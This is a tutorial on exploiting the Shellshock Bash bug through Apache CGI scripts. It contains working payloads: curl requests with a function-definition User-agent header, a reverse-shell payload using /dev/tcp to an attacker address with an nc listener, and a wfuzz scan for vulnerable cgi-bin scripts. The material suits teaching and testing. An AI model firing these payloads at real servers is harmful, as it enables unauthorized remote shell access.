Exploiting CGI Scripts with Shellshock

What is Shellshock?

Shellshock is a critical bug in Bash versions 1.0.3 - 4.3 that can enable an attacker to execute arbitrary commands.

Vulnerable versions of Bash incorrectly execute commands that follow function definitions stored inside environment variables - this can be exploited by an attacker in systems that store user input in environment variables.

Example

$ env x='() { :;}; echo vulnerable' bash -c "echo test"

Vulnerable Bash behavior

Vulnerable versions of Bash interpret x='() { :;};' as a function definition for a function named x. The function body is simply : (colon), which is a Bash-builtin that does nothing and returns with exit code 0. While importing the function, it also executes the code following it - echo vulnerable.

The overall output is:

vulnerable
test

Patched Bash behavior

The behavior on patched systems differ in two ways:

  1. Bash no longer executes code following a function definition when it is imported.
  2. Bash no longer generally interprets the x=() {...} environment variable as a function definition. Function definitions in environment variables are now required to be prefixed with BASH_FUNC_. Exporting functions with export -f x will now set a environment variable BASH_FUNC_x%%=() {...} instead of simply x=() {...}.

Only test will be printed:

test

Why are web servers vulnerable to Shellshock?

Some web servers (including Apache) support the Common Gateway Interface (CGI) specification which allows CLI programs to be used to generate dynamic pages.

Request information e.g. query parameters, user agent, etc. is stored in environment variables. Standard output from the program is returned to the user as the HTTP response.

Example

The following example is with Apache web server with CGI enabled (run sudo a2enmod cgi).

Create hello.sh in /usr/lib/cgi-bin (default cgi-bin script directory):

#!/bin/bash
echo "Content-type: text/html"
echo
echo "hello", $HTTP_USER_AGENT

HTTP headers and the HTTP body are separated by an empty line.

Send a request via curl:

$ curl -H "User-agent: myuseragent" http://localhost/cgi-bin/hello.sh
hello, myuseragent

We can see that the user agent header is stored in the $HTTP_USER_AGENT environment variable (note: printing the user agent is not required for Shellshock to work).

We can set the user agent to a function definition to exploit Shellshock:

$ curl -H "User-agent: () { :;}; echo; echo vulnerable" http://localhost/cgi-bin/hello.sh
vulnerable
...

On a vulnerable system, the code following the function definition is executed with permissions of the user running Apache.

Other headers which are stored as environment variables include Accept and Accept-language.

Reverse shell

The easiest way to gain full control is to use Shellshock to open a reverse shell.

We can start a netcat listener on our computer on port 443:

$ nc -nlvp 443

Then we can send a request to the target to make it connect back to our computer:

curl -i -H "User-agent: () { :;}; /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/443 0>&1" http://localhost/cgi-bin/hello.sh

/dev/tcp/[ip]/[port] is a special pseudo-device file that opens a TCP connection to [ip]:[port] and sends data when written to it.

We are starting an instance of Bash and redirecting standard input/output/error to our computer. This allows us to execute arbitrary commands remotely and see the output.

There is also a Python script available from exploit-db and a metasploit module.

How can we check if a web server is vulnerable?

Wfuzz can both enumerate cgi-bin scripts (using a wordlist) and test them for Shellshock:

$ wfuzz -v -c -H "User-agent: () { :;}; echo; echo vulnerable" --ss vulnerable -t 50 -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt http://xx.xx.xx.xx/FUZZ
  • -v verbose output
  • -c colored output
  • -H "User-agent: () { :;}; echo; echo vulnerable" add a Shellshock user-agent header that prints 'vulnerable'
  • --ss vulnerable filter results that contains the word 'vulnerable' (actually interpreted as regex) in the response
  • -t 50 50 concurrent connections
  • -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt use wordlist from Seclists
  • http://xx.xx.xx.xx/FUZZ our target

Once we have confirmed that a target is vulnerable, we can send a reverse shell payload as described in the previous section.